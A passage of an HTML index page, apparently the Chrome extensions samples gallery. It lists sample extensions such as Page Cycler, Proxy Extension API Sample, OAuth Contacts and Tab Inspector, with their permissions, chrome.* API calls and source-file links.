<code><a href="windows.html#method-getCurrent">chrome.windows.getCurrent</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/extensions/benchmark/background.html">background.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/benchmark/jquery/jquery-1.4.2.min.js">jquery/jquery-1.4.2.min.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/benchmark/jquery/jquery-ui-1.8.4.custom.min.js">jquery/jquery-ui-1.8.4.custom.min.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/benchmark/jquery/jquery.client.js">jquery/jquery.client.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/benchmark/jquery/jquery.flot.dashes.js">jquery/jquery.flot.dashes.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/benchmark/jquery/jquery.flot.js">jquery/jquery.flot.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/benchmark/jquery/jquery.flot.min.js">jquery/jquery.flot.min.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/benchmark/jquery/jquery.flot.navigate.js">jquery/jquery.flot.navigate.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/benchmark/jquery/jquery.flot.valuelabels.js">jquery/jquery.flot.valuelabels.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/benchmark/jst/jsevalcontext.js">jst/jsevalcontext.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/benchmark/jst/jstemplate.js">jst/jstemplate.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/benchmark/jst/jstemplate_test.js">jst/jstemplate_test.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/benchmark/jst/util.js">jst/util.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/benchmark/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/benchmark/options.html">options.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/benchmark/script.js">script.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/benchmark/util/sorttable.js">util/sorttable.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/benchmark/util/table2CSV.js">util/table2CSV.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/extensions/benchmark.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="579b7b1b54553eb5f2e8e7d2bf21bd61c855952e">
<img class="icon" src="../examples/api/record/page_cycler/page_cycler_icon.png">
<h2 class="name">
<a href="#579b7b1b54553eb5f2e8e7d2bf21bd61c855952e">Page Cycler</a>
<span>(packaged app)</span>
</h2>
<p class="metadata features">Uses
<span>
<strong>experimental</strong>
</span>
</p>
<p>Page Cycler UI</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="experimental.record.html#method-captureURLs">chrome.experimental.record.captureURLs</a></code>
</li><li>
<code><a href="experimental.record.html#method-replayURLs">chrome.experimental.record.replayURLs</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/record/page_cycler/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/record/page_cycler/page_cycler.css">page_cycler.css</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/record/page_cycler/page_cycler.html">page_cycler.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/record/page_cycler/page_cycler.js">page_cycler.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/record/page_cycler.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="ab4b9e00a673701b355db9eb8f9ebf2c850cd784">
<img class="icon" src="../examples/extensions/plugin_settings/bunny128.png">
<h2 class="name">
<a href="#ab4b9e00a673701b355db9eb8f9ebf2c850cd784">Per-plugin content settings</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>contentSettings</strong>
<span> and</span>
</span><span>
<strong>options_page</strong>
</span>
</p>
<p>Customize your content setting for different plug-ins.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="i18n.html#method-getMessage">chrome.i18n.getMessage</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/_locales/en/messages.json">_locales/en/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/css/plugin_list.css">css/plugin_list.css</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/css/rule_list.css">css/rule_list.css</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/domui/css/button.css">domui/css/button.css</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/domui/css/chrome_shared.css">domui/css/chrome_shared.css</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/domui/css/list.css">domui/css/list.css</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/domui/css/select.css">domui/css/select.css</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/domui/js/cr.js">domui/js/cr.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/domui/js/cr/event_target.js">domui/js/cr/event_target.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/domui/js/cr/ui.js">domui/js/cr/ui.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/domui/js/cr/ui/array_data_model.js">domui/js/cr/ui/array_data_model.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/domui/js/cr/ui/list.js">domui/js/cr/ui/list.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/domui/js/cr/ui/list_item.js">domui/js/cr/ui/list_item.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/domui/js/cr/ui/list_selection_controller.js">domui/js/cr/ui/list_selection_controller.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/domui/js/cr/ui/list_selection_model.js">domui/js/cr/ui/list_selection_model.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/domui/js/cr/ui/list_single_selection_model.js">domui/js/cr/ui/list_single_selection_model.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/domui/js/util.js">domui/js/util.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/js/chrome_stubs.js">js/chrome_stubs.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/js/main.js">js/main.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/js/plugin_list.js">js/plugin_list.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/js/plugin_list_test.html">js/plugin_list_test.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/js/plugin_settings.js">js/plugin_settings.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/js/plugin_settings_test.html">js/plugin_settings_test.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/js/rule_list.js">js/rule_list.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/js/rule_list_test.html">js/rule_list_test.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/options.html">options.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/options/css/list.css">options/css/list.css</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/options/js/deletable_item_list.js">options/js/deletable_item_list.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/plugin_settings/options/js/inline_editable_list.js">options/js/inline_editable_list.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/extensions/plugin_settings.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="e6ae17ab4ccfd7e059c8c01f25760ca5d894c7fd">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#e6ae17ab4ccfd7e059c8c01f25760ca5d894c7fd">Print this page</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>browser_action</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Adds a print button to the browser.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="browserAction.html#event-onClicked">chrome.browserAction.onClicked</a></code>
</li><li>
<code><a href="tabs.html#method-update">chrome.tabs.update</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/browserAction/print/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/browserAction/print/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/browserAction/print.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="beff6ecd9677dea0a7c648c5042165b48bb66f09">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#beff6ecd9677dea0a7c648c5042165b48bb66f09">Process Monitor</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>browser_action</strong><span>, </span>
</span><span>
<strong>experimental</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Adds a browser action that monitors resource usage of all browser processes.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="experimental.processes.html#event-onUpdated">chrome.experimental.processes.onUpdated</a></code>
</li><li>
<code><a href="experimental.processes.html#event-onUpdatedWithMemory">chrome.experimental.processes.onUpdatedWithMemory</a></code>
</li><li>
<code><a href="experimental.processes.html#method-terminate">chrome.experimental.processes.terminate</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/processes/process_monitor/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/processes/process_monitor/popup.html">popup.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/processes/process_monitor/popup.js">popup.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/processes/process_monitor.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="3e8e226d87e431296bb110b4f6eb7eec2ca7a826">
<img class="icon" src="../examples/extensions/proxy_configuration/icon128.png">
<h2 class="name">
<a href="#3e8e226d87e431296bb110b4f6eb7eec2ca7a826">Proxy Extension API Sample</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>browser_action</strong>
<span> and</span>
</span><span>
<strong>proxy</strong>
</span>
</p>
<p>Set Chrome-specific proxies; a demonstration of Chrome's Proxy API</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="browserAction.html#method-setBadgeBackgroundColor">chrome.browserAction.setBadgeBackgroundColor</a></code>
</li><li>
<code><a href="browserAction.html#method-setBadgeText">chrome.browserAction.setBadgeText</a></code>
</li><li>
<code><a href="browserAction.html#method-setTitle">chrome.browserAction.setTitle</a></code>
</li><li>
<code><a href="extension.html#method-isAllowedIncognitoAccess">chrome.extension.isAllowedIncognitoAccess</a></code>
</li><li>
<code><a href="i18n.html#method-getMessage">chrome.i18n.getMessage</a></code>
</li><li>
<code><a href="proxy.html#event-onProxyError">chrome.proxy.onProxyError</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/extensions/proxy_configuration/_locales/en/messages.json">_locales/en/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/proxy_configuration/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/proxy_configuration/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/proxy_configuration/popup.css">popup.css</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/proxy_configuration/popup.html">popup.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/proxy_configuration/popup.js">popup.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/proxy_configuration/proxy_error_handler.js">proxy_error_handler.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/proxy_configuration/proxy_form_controller.js">proxy_form_controller.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/proxy_configuration/test/jsunittest.js">test/jsunittest.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/proxy_configuration/test/proxy_form_controller_test.html">test/proxy_form_controller_test.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/proxy_configuration/test/proxy_form_controller_test.js">test/proxy_form_controller_test.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/proxy_configuration/test/unittest.css">test/unittest.css</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/extensions/proxy_configuration.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="56a8d2ac24ca7bba78fd88ad57f43fc13c784497">
<img class="icon" src="../examples/extensions/oauth_contacts/img/icon-128.png">
<h2 class="name">
<a href="#56a8d2ac24ca7bba78fd88ad57f43fc13c784497">Sample - OAuth Contacts</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>browser_action</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Uses OAuth to connect to Google's contacts service and display a list of your contacts.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="browserAction.html#event-onClicked">chrome.browserAction.onClicked</a></code>
</li><li>
<code><a href="browserAction.html#method-setIcon">chrome.browserAction.setIcon</a></code>
</li><li>
<code><a href="extension.html#method-getBackgroundPage">chrome.extension.getBackgroundPage</a></code>
</li><li>
<code><a href="extension.html#method-getURL">chrome.extension.getURL</a></code>
</li><li>
<code><a href="tabs.html#method-create">chrome.tabs.create</a></code>
</li><li>
<code><a href="tabs.html#method-get">chrome.tabs.get</a></code>
</li><li>
<code><a href="tabs.html#event-onUpdated">chrome.tabs.onUpdated</a></code>
</li><li>
<code><a href="tabs.html#method-remove">chrome.tabs.remove</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/extensions/oauth_contacts/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/oauth_contacts/chrome_ex_oauth.html">chrome_ex_oauth.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/oauth_contacts/chrome_ex_oauth.js">chrome_ex_oauth.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/oauth_contacts/chrome_ex_oauthsimple.js">chrome_ex_oauthsimple.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/oauth_contacts/contacts.html">contacts.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/oauth_contacts/contacts.js">contacts.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/oauth_contacts/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/oauth_contacts/onload.js">onload.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/extensions/oauth_contacts.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="38f6e1e17756ede38b1364c7114a738ca717dcbb">
<img class="icon" src="../examples/api/infobars/sandwichbar/sandwich-128.png">
<h2 class="name">
<a href="#38f6e1e17756ede38b1364c7114a738ca717dcbb">SandwichBar</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong>
<span> and</span>
</span><span>
<strong>experimental</strong>
</span>
</p>
<p>Shows an infobar on pages which contain the word 'sandwich'</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="experimental.infobars.html#method-show">chrome.experimental.infobars.show</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/infobars/sandwichbar/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/infobars/sandwichbar/contentscript.js">contentscript.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/infobars/sandwichbar/infobar.html">infobar.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/infobars/sandwichbar/infobar.js">infobar.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/infobars/sandwichbar/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/infobars/sandwichbar.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="fc89b35755483af30b66cd72cefa34a43a3e8312">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#fc89b35755483af30b66cd72cefa34a43a3e8312">Show Tabs in Process</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>browser_action</strong><span>, </span>
</span><span>
<strong>experimental</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Adds a browser action showing which tabs share the current tab's process.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="experimental.processes.html#method-getProcessIdForTab">chrome.experimental.processes.getProcessIdForTab</a></code>
</li><li>
<code><a href="tabs.html#method-get">chrome.tabs.get</a></code>
</li><li>
<code><a href="tabs.html#method-update">chrome.tabs.update</a></code>
</li><li>
<code><a href="windows.html#method-get">chrome.windows.get</a></code>
</li><li>
<code><a href="windows.html#method-getAll">chrome.windows.getAll</a></code>
</li><li>
<code><a href="windows.html#method-getCurrent">chrome.windows.getCurrent</a></code>
</li><li>
<code><a href="windows.html#method-update">chrome.windows.update</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/processes/show_tabs/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/processes/show_tabs/popup.css">popup.css</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/processes/show_tabs/popup.html">popup.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/processes/show_tabs/popup.js">popup.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/processes/show_tabs.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="a491a2faa1fe79cb49b2fe9ed2720f4723c14184">
<img class="icon" src="../examples/extensions/speak_selection/SpeakSel128.png">
<h2 class="name">
<a href="#a491a2faa1fe79cb49b2fe9ed2720f4723c14184">Speak Selection</a>
</h2>
<p class="metadata features">Uses
<span>
<strong><all_urls></strong><span>, </span>
</span><span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>browser_action</strong><span>, </span>
</span><span>
<strong>options_page</strong><span>, </span>
</span><span>
<strong>tabs</strong>
<span> and</span>
</span><span>
<strong>tts</strong>
</span>
</p>
<p>Speaks the current selection out loud.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="browserAction.html#event-onClicked">chrome.browserAction.onClicked</a></code>
</li><li>
<code><a href="browserAction.html#method-setIcon">chrome.browserAction.setIcon</a></code>
</li><li>
<code><a href="extension.html#method-getURL">chrome.extension.getURL</a></code>
</li><li>
<code><a href="tabs.html#method-create">chrome.tabs.create</a></code>
</li><li>
<code><a href="tabs.html#method-executeScript">chrome.tabs.executeScript</a></code>
</li><li>
<code><a href="tts.html#method-getVoices">chrome.tts.getVoices</a></code>
</li><li>
<code><a href="tts.html#method-speak">chrome.tts.speak</a></code>
</li><li>
<code><a href="tts.html#method-stop">chrome.tts.stop</a></code>
</li><li>
<code><a href="windows.html#method-get">chrome.windows.get</a></code>
</li><li>
<code><a href="windows.html#method-getAll">chrome.windows.getAll</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/extensions/speak_selection/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/speak_selection/content_script.js">content_script.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/speak_selection/keycodes.js">keycodes.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/speak_selection/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/speak_selection/options.html">options.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/speak_selection/options.js">options.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/speak_selection/tabs.js">tabs.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/extensions/speak_selection.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="a942b7626644674b7a56678930d054497b244ee7">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#a942b7626644674b7a56678930d054497b244ee7">Speech Recognizer</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>browser_action</strong>
<span> and</span>
</span><span>
<strong>experimental</strong>
</span>
</p>
<p>Recognizes your speech and tells you the most likely result.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="browserAction.html#event-onClicked">chrome.browserAction.onClicked</a></code>
</li><li>
<code><a href="browserAction.html#method-setIcon">chrome.browserAction.setIcon</a></code>
</li><li>
<code><a href="experimental.speechInput.html#method-isRecording">chrome.experimental.speechInput.isRecording</a></code>
</li><li>
<code><a href="experimental.speechInput.html#event-onError">chrome.experimental.speechInput.onError</a></code>
</li><li>
<code><a href="experimental.speechInput.html#event-onResult">chrome.experimental.speechInput.onResult</a></code>
</li><li>
<code><a href="experimental.speechInput.html#method-start">chrome.experimental.speechInput.start</a></code>
</li><li>
<code><a href="experimental.speechInput.html#method-stop">chrome.experimental.speechInput.stop</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/speechInput/basic/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/speechInput/basic/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/speechInput/basic.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="24452253a5f1a93c2e8d63e55042005f8bc33606">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#24452253a5f1a93c2e8d63e55042005f8bc33606">Stylizr</a>
</h2>
<p class="metadata features">Uses
<span>
<strong><all_urls></strong><span>, </span>
</span><span>
<strong>browser_action</strong><span>, </span>
</span><span>
<strong>options_page</strong><span>, </span>
</span><span>
<strong>storage</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Spruce up your pages with custom CSS.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="extension.html#method-getURL">chrome.extension.getURL</a></code>
</li><li>
<code><a href="tabs.html#method-insertCSS">chrome.tabs.insertCSS</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/storage/stylizr/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/storage/stylizr/options.html">options.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/storage/stylizr/options.js">options.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/storage/stylizr/popup.html">popup.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/storage/stylizr/popup.js">popup.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/storage/stylizr.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="230463f2d5c3d4d0ca13c230e1f00f2aae0a8a64">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#230463f2d5c3d4d0ca13c230e1f00f2aae0a8a64">Tab Inspector</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>browser_action</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Utility for working with the extension tabs api</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="browserAction.html#event-onClicked">chrome.browserAction.onClicked</a></code>
</li><li>
<code><a href="extension.html#method-getURL">chrome.extension.getURL</a></code>
</li><li>
<code><a href="tabs.html#method-create">chrome.tabs.create</a></code>
</li><li>
<code><a href="tabs.html#method-get">chrome.tabs.get</a></code>
</li><li>
<code><a href="tabs.html#method-move">chrome.tabs.move</a></code>
</li><li>
<code><a href="tabs.html#event-onAttached">chrome.tabs.onAttached</a></code>
</li><li>
<code><a href="tabs.html#event-onCreated">chrome.tabs.onCreated</a></code>
</li><li>
<code><a href="tabs.html#event-onDetached">chrome.tabs.onDetached</a></code>
</li><li>
<code><a href="tabs.html#event-onMoved">chrome.tabs.onMoved</a></code>
</li><li>
<code><a href="tabs.html#event-onRemoved">chrome.tabs.onRemoved</a></code>
</li><li>
<code><a href="tabs.html#event-onUpdated">chrome.tabs.onUpdated</a></code>
</li><li>
<code><a href="tabs.html#method-remove">chrome.tabs.remove</a></code>
</li><li>
<code><a href="tabs.html#method-update">chrome.tabs.update</a></code>
</li><li>
<code><a href="windows.html#method-create">chrome.windows.create</a></code>
</li><li>
<code><a href="windows.html#method-get">chrome.windows.get</a></code>
</li><li>
<code><a href="windows.html#method-getAll">chrome.windows.getAll</a></code>
</li><li>
<code><a href="windows.html#method-getCurrent">chrome.windows.getCurrent</a></code>
</li><li>
<code><a href="windows.html#method-getLastFocused">chrome.windows.getLastFocused</a></code>
</li><li>
<code><a href="windows.html#event-onCreated">chrome.windows.onCreated</a></code>
</li><li>
<code><a href="windows.html#event-onFocusChanged">chrome.windows.onFocusChanged</a></code>
</li><li>
<code><a href="windows.html#event-onRemoved">chrome.windows.onRemoved</a></code>
</li><li>
<code><a href="windows.html#method-remove">chrome.windows.remove</a></code>
</li><li>
<code><a href="windows.html#method-update">chrome.windows.update</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/tabs/inspector/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/tabs/inspector/jstemplate_compiled.js">jstemplate_compiled.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/tabs/inspector/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/tabs/inspector/tabs_api.html">tabs_api.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/tabs/inspector/tabs_api.js">tabs_api.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/tabs/inspector.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="04f5d2ddea95746b0200be1ea223ccb7a748a771">
<img class="icon" src="../examples/extensions/talking_alarm_clock/clock-128.png">
<h2 class="name">
<a href="#04f5d2ddea95746b0200be1ea223ccb7a748a771">Talking Alarm Clock</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background</strong><span>, </span>
</span><span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>browser_action</strong>
<span> and</span>
</span><span>
<strong>tts</strong>
</span>
</p>
<p>A clock with two configurable alarms that will play a sound and speak a phrase of your choice.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="browserAction.html#method-setIcon">chrome.browserAction.setIcon</a></code>
</li><li>
<code><a href="extension.html#method-connect">chrome.extension.connect</a></code>
</li><li>
<code><a href="extension.html#event-onConnect">chrome.extension.onConnect</a></code>
</li><li>
<code><a href="tts.html#method-getVoices">chrome.tts.getVoices</a></code>
</li><li>
<code><a href="tts.html#method-speak">chrome.tts.speak</a></code>
</li><li>
<code><a href="tts.html#method-stop">chrome.tts.stop</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/extensions/talking_alarm_clock/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/talking_alarm_clock/common.js">common.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/talking_alarm_clock/credits.html">credits.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/talking_alarm_clock/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/talking_alarm_clock/popup.html">popup.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/talking_alarm_clock/popup.js">popup.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/extensions/talking_alarm_clock.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="e1697cacebad05218798bf3e8a0f724517f0e8c3">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#e1697cacebad05218798bf3e8a0f724517f0e8c3">Test Screenshot Extension</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>browser_action</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Demonstrate screenshot functionality in the chrome.tabs api. Note: only works for code.google.com</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
